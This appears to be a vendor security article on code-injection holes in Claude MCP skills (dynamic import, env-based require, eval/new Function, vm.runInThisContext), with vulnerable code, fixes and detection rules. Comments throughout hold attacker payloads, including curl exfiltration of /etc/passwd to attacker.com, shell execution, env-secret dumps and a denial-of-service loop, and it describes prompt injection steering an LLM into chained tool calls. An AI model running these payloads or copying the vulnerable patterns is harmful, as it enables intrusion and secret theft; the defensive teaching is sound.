Claude skill dynamic import and code injection
Dynamic module loading and runtime code evaluation are powerful Node.js features that serve legitimate purposes — lazy loading large libraries, plugin systems, expression evaluators. In Claude MCP skills, these features become critical vulnerabilities when the module name, file path, or code string comes from LLM tool arguments. await import(args.moduleName) loads and executes whatever module the attacker names. eval(args.formula) executes whatever JavaScript the attacker provides. vm.runInThisContext(args.code) does the same but sounds safer — the vm prefix suggests sandboxing that does not actually exist when runInThisContext is used. The four SA-SKL-IMPORT patterns document these code shapes, the exploitation mechanics, and the architectural substitutes that provide the same functionality without executing attacker-controlled code.
The SA-SKL-IMPORT family is distinct from other injection families because the vulnerability is not about passing data to a command or template — it is about executing code itself. The attack surface includes two categories: dynamic loading of existing code (IMPORT-001, IMPORT-002) and execution of attacker-supplied code strings (IMPORT-003, IMPORT-004). Both categories achieve the same outcome — arbitrary code execution in the Node.js process with access to require, process, fs, child_process, and all environment variables — through different mechanisms. Detection requires understanding both the taint flow from tool arguments and the specific API call patterns that execute code rather than process data. SkillAudit’s static analysis identifies all four patterns through AST-level taint tracking from tool handler parameter bindings to module loading and code evaluation call sites.
SA-SKL-IMPORT-001: await import(args.moduleName) with unvalidated module path — arbitrary npm package or filesystem module execution
ES module dynamic import() is syntactically similar to a function call but semantically equivalent to loading, parsing, and executing a JavaScript module. When await import(args.moduleName) is called where args.moduleName comes from an LLM tool argument, the attacker specifies what module is loaded and executed. Two categories of module specifier are dangerous. First, npm package names: if the attacker has published a malicious npm package with a name that the skill’s node_modules directory contains, import('attacker-package') loads and executes it. Second, filesystem paths: import('../../../../etc/cron.d/evil') or import('/tmp/malicious.js') loads files from the filesystem, executing any JavaScript module-compliant file the attacker can name. Even without placing custom files, path traversal can reach node_modules/.bin/ scripts, the skill’s own internal modules, or config files that happen to be syntactically valid JavaScript.
The filesystem path attack is particularly accessible. Many MCP skill deployments write temporary files to /tmp for processing. A multi-step attack involving a prior tool call that writes a JavaScript file to /tmp/ followed by a tool call that imports it is entirely within the capabilities of an LLM following a prompt injection instruction. The attacker need not exploit a vulnerability in the file write step — they need only an earlier tool call that creates or controls the content of a file at a path they know.
// VULNERABLE: await import() with module name from tool arguments
server.setToolHandler('load_plugin', async (args) => {
// args.moduleName comes from LLM tool call — attacker-controlled
// import() loads, parses, and EXECUTES the specified module
const plugin = await import(args.moduleName);
// ^^^^^ loads any npm package or filesystem path the attacker names
return { content: [{ type: 'text', text: plugin.default?.describe?.() ?? 'loaded' }] };
});
// ATTACKER PAYLOADS:
// 1. Filesystem path traversal to execute a pre-placed file:
// args.moduleName = '../../../../tmp/evil.mjs'
// → Node.js resolves and executes /tmp/evil.mjs
// evil.mjs content: import { execSync } from 'child_process';
// execSync('curl http://attacker.com/$(cat /etc/passwd | base64)');
// 2. Absolute path to a malicious file:
// args.moduleName = '/var/app/uploads/payload.js'
// → if the skill has a file upload endpoint, attacker uploads .js and imports it
// 3. Malicious npm package (dependency confusion / typosquatting):
// args.moduleName = 'lodash-utils-extra' (attacker-published package)
// → if this package was installed as a dependency or is available in node_modules,
// its top-level module code executes immediately on import()
// 4. Node.js built-in modules — safe but may be misused:
// args.moduleName = 'child_process'
// → the import itself is safe; attacker then uses returned module to spawn processes
// → but combined with eval of the result, the attacker has full access
// Also vulnerable with require():
const plugin = require(args.moduleName); // synchronous but same attack surface
// SECURE: allowlist of permitted module names checked before import()
const ALLOWED_PLUGINS = new Set([
'lodash',
'date-fns',
'zod',
'yaml',
'csv-parse',
]);
// Map of module specifiers to pre-loaded instances (loaded at startup)
const LOADED_PLUGINS: Map<string, unknown> = new Map();
// Load all allowed plugins at startup — import() is NOT called at request time
async function initPlugins() {
for (const name of ALLOWED_PLUGINS) {
try {
LOADED_PLUGINS.set(name, await import(name));
} catch (err) {
console.warn(`Could not load plugin ${name}:`, err);
}
}
}
await initPlugins();
server.setToolHandler('use_plugin', async (args) => {
const moduleName = String(args.moduleName ?? '');
// Validate against the explicit allowlist — reject anything not in the set
if (!ALLOWED_PLUGINS.has(moduleName)) {
throw new Error(`Plugin not available: ${moduleName}`);
}
// Retrieve pre-loaded module — no import() at request time
const plugin = LOADED_PLUGINS.get(moduleName);
if (!plugin) {
throw new Error(`Plugin not initialised: ${moduleName}`);
}
// Use the plugin through a controlled interface — not arbitrary method calls
return { content: [{ type: 'text', text: describePlugin(plugin) }] };
});
// DETECTION (SkillAudit SA-SKL-IMPORT-001):
// import(args.*) — dynamic import with argument derived from tool call
// OR import(variable) where variable is assigned from args
// OR require(args.*) or require(variable_from_args)
const import001 = searchAST(
'import(args.*) OR import(variable_tainted_by_args) ' +
'OR require(args.*) OR require(variable_tainted_by_args)'
);
if (import001.length > 0) => CRITICAL // SA-SKL-IMPORT-001
import() and require() execute code — they are not data lookups: a dynamic import() or require() call is not equivalent to reading a file or looking up a value. It executes the module’s top-level code in the Node.js runtime. Any module that contains side effects at the top level — spawning processes, making network requests, writing files, scheduling timers — executes those side effects immediately when the module is loaded. The attacker’s control of the module specifier is therefore control over what code executes, not merely what data is accessed. Pre-load all required modules at startup, store them in a map keyed by safe names, and never call import() or require() with a value derived from tool arguments at request time.
await import(args.moduleName) loads and executes any npm package or filesystem path the attacker names; path traversal to /tmp/evil.mjs or attacker-published packages achieves full RCE. Fix: explicit Set allowlist; pre-load modules at startup; never call import() at request time. Detection: import(args.*) → CRITICAL.SA-SKL-IMPORT-002: require(process.env.PLUGIN_PATH) with attacker-influenced env — malicious module via environment variable
Environment variables are commonly used to configure plugin paths, adapter modules, and integration endpoints at deployment time. The assumption is that environment variables are set by the deployer and are therefore trusted. This assumption fails when the attacker can influence environment variable values through any of several channels: prompt injection that causes the LLM to issue a tool call with an argument that the skill uses to set an env variable; a parent process or orchestration layer that passes user-controlled values as environment variables; a prior tool call that modifies process.env directly (Node.js allows this); or a configuration file read by the skill that merges user-supplied values into the environment. When require(process.env.PLUGIN_PATH) is called at request time — rather than locked to the value at startup — an attacker who can influence PLUGIN_PATH at any point between startup and the request can cause the skill to load their module.
The more insidious variant is a skill that reads PLUGIN_PATH once at startup and caches it, but then re-reads it during request handling for a different env variable whose value is derived from request context. Environment variable manipulation through tool arguments is possible in several ways: some skill implementations accept a key-value configuration update tool that allows setting env variables for use by subsequent tools; prompt injection in configuration documents the LLM loads; or direct modification of process.env in a prior tool call that the developer did not intend as a configuration mechanism. The fix is to treat all module paths as configuration-time constants: validate and lock them at startup, refuse to re-read module path env variables at request time, and audit all paths at which process.env values flow into require() or import().
// VULNERABLE: require() with module path from env variable read at request time
server.setToolHandler('load_adapter', async (args) => {
// process.env.PLUGIN_PATH is read at request time — not locked at startup
// If the attacker can influence this env variable, they control which module loads
const pluginPath = process.env.PLUGIN_PATH;
if (!pluginPath) throw new Error('PLUGIN_PATH not configured');
// require() executes the module at the specified path
const adapter = require(pluginPath);
return { content: [{ type: 'text', text: adapter.describe() }] };
});
// How the attacker influences process.env.PLUGIN_PATH:
// Method 1: Tool that accepts config updates and sets env variables
server.setToolHandler('update_config', async (args) => {
// Developer intends this for setting API keys and feature flags
// Attacker uses it to set PLUGIN_PATH to a malicious module
process.env[args.key] = args.value;
// ^^^^^^^^^^^ ^^^^^^^^^^
// args.key = 'PLUGIN_PATH', args.value = '/tmp/evil.js'
// → next call to load_adapter loads /tmp/evil.js
});
// Method 2: Configuration file merged into process.env
// If the skill reads a config file whose content the LLM can influence:
const config = JSON.parse(fs.readFileSync(args.configPath, 'utf8'));
Object.assign(process.env, config); // attacker's config sets PLUGIN_PATH
// Method 3: Parent process or container orchestration passes user-controlled envs
// In some deployment patterns, request headers or parameters are forwarded as env vars
// This is an architectural anti-pattern that this finding highlights
// Also vulnerable: require() with path built from multiple env vars
const pluginDir = process.env.PLUGIN_DIR;
const pluginName = process.env.PLUGIN_NAME; // if either is attacker-controlled
const adapter = require(path.join(pluginDir, pluginName));
// SECURE: lock module path at startup; validate against allowlist; never re-read
import path from 'path';
// Lock plugin path at startup — resolved once and never re-read
const ALLOWED_PLUGIN_PATHS = new Set([
'/var/app/adapters/postgres-adapter.js',
'/var/app/adapters/mysql-adapter.js',
'/var/app/adapters/redis-adapter.js',
]);
// Read and validate PLUGIN_PATH at startup time
const rawPluginPath = process.env.PLUGIN_PATH ?? '';
const resolvedPluginPath = path.resolve(rawPluginPath);
if (!ALLOWED_PLUGIN_PATHS.has(resolvedPluginPath)) {
// Fail fast at startup — do not allow skill to start with invalid plugin path
throw new Error(
`PLUGIN_PATH '${resolvedPluginPath}' is not in the allowed plugin list. ` +
`Configure a valid adapter path before starting the skill.`
);
}
// Load the module once at startup — stored in a const, never re-loaded
const ADAPTER = require(resolvedPluginPath);
// Freeze the loaded adapter to prevent runtime modification
Object.freeze(ADAPTER);
// After startup, process.env.PLUGIN_PATH is irrelevant — ADAPTER is already loaded
// Even if an attacker modifies process.env.PLUGIN_PATH later, no new require() occurs
server.setToolHandler('use_adapter', async (args) => {
// ADAPTER was loaded and validated at startup — not re-read from env at request time
const result = ADAPTER.process(validateAdapterInput(args.data));
return { content: [{ type: 'text', text: result }] };
});
// Additional hardening: prevent direct env mutation via tool calls
// Audit all tool handlers for Object.assign(process.env, *) patterns
// Prohibit process.env[args.*] = * at the linter level
// DETECTION (SkillAudit SA-SKL-IMPORT-002):
// require(process.env.*) called outside module top-level initialisation
// OR require(variable) where variable is assigned from process.env read inside a handler
// OR Object.assign(process.env, args.*) — env mutation from tool args
const import002 = searchAST(
'require(process.env.*) inside handler function ' +
'OR import(process.env.*) inside handler function ' +
'OR Object.assign(process.env, args.*) OR process.env[args.*] = *'
);
if (import002.length > 0) => HIGH // SA-SKL-IMPORT-002
process.env is mutable at runtime — treat it as configuration-time input only: Node.js allows assignments to process.env at any point during process execution. A skill that reads process.env.PLUGIN_PATH at request time may be reading a value that was written during a prior tool call by the attacker. The safe pattern is to read all module-path configuration variables exactly once, at startup, before any tool handlers are registered. Store the resolved values in constants. Refuse to re-read them during request handling. Audit every require() and import() call in the skill to confirm that no module specifier is derived from a process.env read that occurs inside a tool handler function body.
require(process.env.PLUGIN_PATH) read at request time loads any module the attacker points PLUGIN_PATH at via prior tool calls; process.env is mutable throughout process lifetime. Fix: read and validate module paths at startup only; lock to constant; never re-read inside handler. Detection: require(process.env.*) inside handler → HIGH.SA-SKL-IMPORT-003: eval() or new Function() on user-supplied code string — code injection and sandbox escape
eval() and new Function() are JavaScript’s mechanisms for converting a string into executable code at runtime. Both execute their string argument as JavaScript in the Node.js process. The difference is scope: eval() executes in the current scope and has access to all local variables; new Function() executes in the global scope, which in Node.js includes process, Buffer, and all other globals, but not local variables. Neither provides any sandbox or access restriction. When a Claude MCP skill calls eval(args.formula) or new Function('x', args.body)(input) where args.formula or args.body comes from tool arguments, the attacker has full code execution.
The new Function() variant is particularly common in skills that implement expression evaluators: a calculation skill that accepts a formula string, a templating skill that accepts a code expression, or a workflow skill that accepts a condition expression. Developers use new Function() rather than eval() because they believe the global scope restriction provides some isolation. It does not: new Function('return process.env')()) accesses the global process object and returns all environment variables. new Function('return require("child_process").execSync("id").toString()')() executes a shell command. new Function() in Node.js is directly equivalent to eval for the purpose of code injection — it executes arbitrary code with access to the Node.js global scope, which includes all built-in modules accessible via require and the full process API.
// VULNERABLE: eval() on user-supplied formula from tool argument
server.setToolHandler('calculate', async (args) => {
// args.formula comes from LLM tool call — attacker-controlled
// eval() executes args.formula as JavaScript in the current scope
const result = eval(args.formula);
// ^^^^ executes ANY JavaScript, not just math expressions
return { content: [{ type: 'text', text: String(result) }] };
});
// ATTACKER PAYLOAD via eval():
// args.formula = "require('child_process').execSync('curl http://attacker.com/$(cat /etc/passwd|base64)').toString()"
// → require is in scope inside the skill handler; execSync runs the shell command
// Also vulnerable: new Function() on user-supplied body
server.setToolHandler('evaluate_condition', async (args) => {
// Developer believes new Function() is safe because it 'runs in global scope'
// In Node.js, global scope includes process, Buffer, require (via __require)
const condition = new Function('x', 'data', args.body);
// ^^^ ^^^^^^ ^^^^^^^^^ — attacker controls body
const result = condition(args.x, args.data);
return { content: [{ type: 'text', text: String(result) }] };
});
// ATTACKER PAYLOAD via new Function():
// args.body = "return process.env"
// → returns all environment variables including secrets
// args.body = "return (new Function('return require'))()('child_process').execSync('id').toString()"
// → reaches require via nested Function constructor; executes shell command
// args.body = "return Buffer.from(JSON.stringify(process.env)).toString('base64')"
// → exfiltrates all env vars as base64 (safe to embed in return value / logs)
// VULNERABLE: template literals that eval user content indirectly
const template = new Function('args', `return \`${args.template}\``);
// ^^^^^^^^^^^^^^^^ — if args.template
// contains ${...} expressions, they execute as JavaScript inside the template literal
// args.template = "${require('fs').readFileSync('/etc/passwd','utf8')}"
// → the template literal evaluates the expression and returns file contents
// SECURE: use a safe expression parser — never eval or new Function
// Option 1: mathjs expression parser with sandboxed scope
import { create, all } from 'mathjs';
// Create a restricted math environment — no access to process, require, Buffer
const math = create(all);
// Remove dangerous functions from the math scope
const restrictedMath = math.create({});
restrictedMath.import({
// Only safe mathematical functions
abs: Math.abs, sqrt: Math.sqrt, pow: Math.pow,
sin: Math.sin, cos: Math.cos, tan: Math.tan,
log: Math.log, exp: Math.exp, floor: Math.floor,
ceil: Math.ceil, round: Math.round, min: Math.min, max: Math.max,
}, { override: true });
server.setToolHandler('calculate', async (args) => {
const formula = String(args.formula ?? '');
// Validate that the formula contains only safe characters
// before passing to mathjs (defence in depth)
const SAFE_FORMULA_CHARS = /^[\d\s+\-*/^().,a-z_A-Z]{1,500}$/;
if (!SAFE_FORMULA_CHARS.test(formula)) {
throw new Error('Formula contains disallowed characters');
}
try {
// mathjs parses and evaluates the expression in its own sandboxed scope
// It does NOT have access to JavaScript globals, require, process, or Buffer
const result = restrictedMath.evaluate(formula);
return { content: [{ type: 'text', text: String(result) }] };
} catch (err) {
throw new Error(`Invalid formula: ${(err as Error).message}`);
}
});
// Option 2: JSON-based formula representation (safest — no parsing needed)
// Instead of eval-ing a formula string, represent the formula as a JSON AST:
// args.formula = { "op": "add", "left": { "op": "mul", "left": 2, "right": 3 }, "right": 4 }
// Evaluate the AST with a recursive interpreter that only handles known node types
function evaluateAst(node: FormulaNode, vars: Record<string, number>): number {
if (typeof node === 'number') return node;
if (typeof node === 'string') {
if (!vars.hasOwnProperty(node)) throw new Error(`Unknown variable: ${node}`);
return vars[node];
}
switch (node.op) {
case 'add': return evaluateAst(node.left, vars) + evaluateAst(node.right, vars);
case 'sub': return evaluateAst(node.left, vars) - evaluateAst(node.right, vars);
case 'mul': return evaluateAst(node.left, vars) * evaluateAst(node.right, vars);
case 'div': {
const divisor = evaluateAst(node.right, vars);
if (divisor === 0) throw new Error('Division by zero');
return evaluateAst(node.left, vars) / divisor;
}
default: throw new Error(`Unknown operation: ${node.op}`);
}
}
// DETECTION (SkillAudit SA-SKL-IMPORT-003):
// eval(args.*) or eval(variable_from_args)
// OR new Function(*, args.*) — body from tool args
// OR new Function(args.*) — all arguments from tool args
const import003 = searchAST(
'eval(args.*) OR eval(variable_tainted_by_args) ' +
'OR new Function(*, args.*) OR new Function(args.*)' +
'OR Function(*, args.*)'
);
if (import003.length > 0) => CRITICAL // SA-SKL-IMPORT-003
new Function() in Node.js has access to require through the global scope — it is not sandboxed: the common belief that new Function() is safer than eval() because it “runs in the global scope” misunderstands what the Node.js global scope contains. In Node.js, the global scope includes process, Buffer, setTimeout, setInterval, and — in CommonJS modules — require. A new Function() body that references process reaches the real process object. A body that references require loads real modules. There is no isolation. The only safe alternatives are dedicated expression parsers like mathjs that evaluate in a truly isolated scope, or JSON-based formula representations that are interpreted rather than evaluated.
eval(args.formula) and new Function('x', args.body) execute arbitrary JavaScript; new Function() accesses process, Buffer, and require through the global scope. Fix: mathjs sandboxed evaluator or JSON AST interpreter. Detection: eval(args.*) or new Function(*, args.*) → CRITICAL.SA-SKL-IMPORT-004: vm.runInThisContext(args.code) — no real isolation; access to all globals including require
Node.js’s vm module is the built-in mechanism for executing JavaScript code with some degree of isolation from the surrounding application. The module exposes several functions with different isolation characteristics: vm.runInThisContext(code), vm.runInNewContext(code, sandbox), and vm.runInContext(code, context). The critical difference is that runInThisContext() executes in the current V8 context — the same context as the skill code itself. It has access to all JavaScript globals: Object, Array, Function, process, Buffer, and in CommonJS modules, require. The “vm” prefix in the module name creates a false impression of sandboxing that does not exist for runInThisContext().
The exploitation is direct: vm.runInThisContext("process.env") returns the process environment object. vm.runInThisContext("require('child_process').execSync('id').toString()") executes a shell command. The name vm does not confer any protection when runInThisContext is the method used. Even vm.runInNewContext() — the function that does provide isolation — requires careful construction of the sandbox object. A sandbox that inadvertently includes a reference to a real JavaScript object with a prototype chain (rather than a primitive or Object.create(null)-derived object) can be escaped via prototype chain traversal. The only safe usage is vm.runInNewContext() with an explicitly constructed, prototype-free sandbox containing only the values that are safe to expose, combined with a timeout to prevent infinite loops.
// VULNERABLE: vm.runInThisContext() — no isolation; same context as skill
import vm from 'vm';
server.setToolHandler('evaluate_expression', async (args) => {
// Developer believes vm module provides sandboxing
// vm.runInThisContext executes in the SAME V8 context as the skill
// It has full access to process, require, Buffer, and all globals
const result = vm.runInThisContext(args.code);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// This is NOT sandboxed — identical to eval() for attack purposes
return { content: [{ type: 'text', text: String(result) }] };
});
// ATTACKER PAYLOADS:
// Access process object — read environment variables:
// args.code = "process.env.DATABASE_URL"
// → returns the skill's database connection string
// Access require — load arbitrary modules:
// args.code = "require('child_process').execSync('id').toString()"
// → executes shell command; require is in scope via CommonJS module system
// Access Buffer — read/write binary data:
// args.code = "Buffer.from(JSON.stringify(process.env)).toString('base64')"
// → base64-encodes all env vars; the attacker receives them in the tool response
// Infinite loop — denial of service (no timeout by default):
// args.code = "while(true) {}"
// → vm.runInThisContext has no default timeout; blocks the event loop forever
// vm.Script with runInThisContext is equally dangerous:
const script = new vm.Script(args.code);
script.runInThisContext(); // same vulnerability — executes in current context
// SECURE: vm.runInNewContext() with explicit sandbox and timeout
// Sandbox must contain ONLY safe, readonly values
// Must NOT contain references to require, process, Buffer, or global
import vm from 'vm';
const MAX_CODE_LENGTH = 2000;
const EXECUTION_TIMEOUT_MS = 100;
server.setToolHandler('evaluate_expression', async (args) => {
const code = String(args.code ?? '');
// Validate code length before attempting execution
if (code.length > MAX_CODE_LENGTH) {
throw new Error('Code string too long');
}
// Validate code contains only safe characters — no require, process, Buffer
// This is defence-in-depth; the real protection is the sandboxed context below
const FORBIDDEN_IDENTIFIERS = /\b(require|process|Buffer|global|__dirname|__filename|module|exports)\b/;
if (FORBIDDEN_IDENTIFIERS.test(code)) {
throw new Error('Code references forbidden identifiers');
}
// Construct sandbox with ONLY safe, primitive and Math values
// Use Object.create(null) to avoid prototype chain access
const sandbox = Object.create(null) as Record<string, unknown>;
// Safe read-only math context — primitives and functions only
Object.defineProperties(sandbox, {
Math: { value: Object.freeze({ ...Math }), writable: false, configurable: false },
JSON: { value: Object.freeze({ parse: JSON.parse, stringify: JSON.stringify }), writable: false, configurable: false },
isNaN: { value: isNaN, writable: false, configurable: false },
isFinite:{ value: isFinite, writable: false, configurable: false },
parseInt:{ value: parseInt, writable: false, configurable: false },
parseFloat: { value: parseFloat, writable: false, configurable: false },
});
// vm.createContext creates a new V8 context from the sandbox object
// Code running in this context CANNOT access process, require, or Buffer
const context = vm.createContext(sandbox);
try {
// runInContext executes in the new isolated context, NOT in the current one
// timeout prevents infinite loops from blocking the event loop
const result = vm.runInContext(code, context, {
timeout: EXECUTION_TIMEOUT_MS,
breakOnSigint: true,
});
// Validate that the result is a safe primitive before returning it
if (typeof result !== 'number' && typeof result !== 'string' && typeof result !== 'boolean') {
throw new Error('Expression must return a primitive value');
}
return { content: [{ type: 'text', text: String(result) }] };
} catch (err) {
if ((err as Error).message?.includes('Script execution timed out')) {
throw new Error('Expression timed out after 100ms');
}
throw new Error(`Expression evaluation failed: ${(err as Error).message}`);
}
});
// DETECTION (SkillAudit SA-SKL-IMPORT-004):
// vm.runInThisContext(args.*) — user code in current context
// OR new vm.Script(args.*).runInThisContext() — same attack, Script form
// OR vm.runInContext(args.*, untrusted_sandbox) — sandbox contains real objects
const import004 = searchAST(
'vm.runInThisContext(args.*) ' +
'OR new vm.Script(args.*) ' +
'OR vm.runInContext(args.*, *) without explicit safe sandbox validation'
);
if (import004.length > 0) => CRITICAL // SA-SKL-IMPORT-004
vm.runInThisContext() is identical to eval() for security purposes — the vm module name is misleading: the Node.js documentation for vm.runInThisContext() states explicitly that it runs in the “current global object” and does not provide a separate scope. It is not a sandbox. The functions that do provide isolation are vm.runInNewContext() and vm.runInContext() with a carefully constructed sandbox object. Even those provide only a soft sandbox — a sandbox that contains a reference to any standard JavaScript object with a mutable prototype can be escaped via prototype chain manipulation. The sandbox must be constructed from primitives and Object.create(null) objects, with every property marked non-writable and non-configurable. Prefer a dedicated expression parser library over any vm-based approach for user-facing expression evaluation.
vm.runInThisContext(args.code) executes in the same V8 context as the skill; process, require, and Buffer are fully accessible; no timeout means infinite loops block the event loop. Fix: vm.runInContext(code, context, { timeout }) with an explicitly constructed prototype-free sandbox. Detection: vm.runInThisContext(args.*) → CRITICAL.Remediation summary
| Finding | Severity | Fix |
|---|---|---|
| IMPORT-001: import() with unvalidated module path | CRITICAL | Define an explicit Set of permitted module names; pre-load all modules at startup; store them in a map keyed by safe names; never call import() or require() with a value derived from tool arguments at request time; reject any module name not in the allowlist before the import call |
| IMPORT-002: require() with attacker-influenced env | HIGH | Read and validate all module-path environment variables exactly once at startup; store resolved, allowlist-validated paths in constants; prohibit process.env reads inside handler functions via linter rule; audit all tool handlers for Object.assign(process.env, args.*) and process.env[args.*] = * patterns |
| IMPORT-003: eval() and new Function() on user code | CRITICAL | Replace eval(args.formula) with a sandboxed expression parser such as mathjs configured with restricted scope; or represent formulas as JSON AST nodes interpreted by a hand-written evaluator that handles only known node types; prohibit eval and Function constructor calls via ESLint no-eval and no-new-func rules |
| IMPORT-004: vm.runInThisContext() no real sandbox | CRITICAL | Replace vm.runInThisContext(args.code) with vm.runInContext(code, context, { timeout: 100 }) where context is created with vm.createContext(Object.create(null)) containing only safe primitives and math functions; validate code string for forbidden identifiers before execution; validate return value is a safe primitive type |
SkillAudit detects all four SA-SKL-IMPORT-001 through IMPORT-004 dynamic import and code injection patterns via AST-based taint analysis that traces tool argument values through module loading and code evaluation call sites. For related injection patterns that execute attacker content through template engines, see SA-SKL-SBX template engine injection — which covers Handlebars compile, Nunjucks renderString, EJS and Pug patterns that also achieve code execution through user-controlled content. See the complete 15-family SA-SKL attack surface reference for the full taxonomy of MCP skill security findings.
Scan your Claude skill for dynamic import and code injection vulnerabilities
SkillAudit detects import() path injection, require() env manipulation, eval() and new Function() code injection, and vm.runInThisContext() sandbox escape patterns across the full SA-SKL-IMPORT family in 60 seconds.
Get your free audit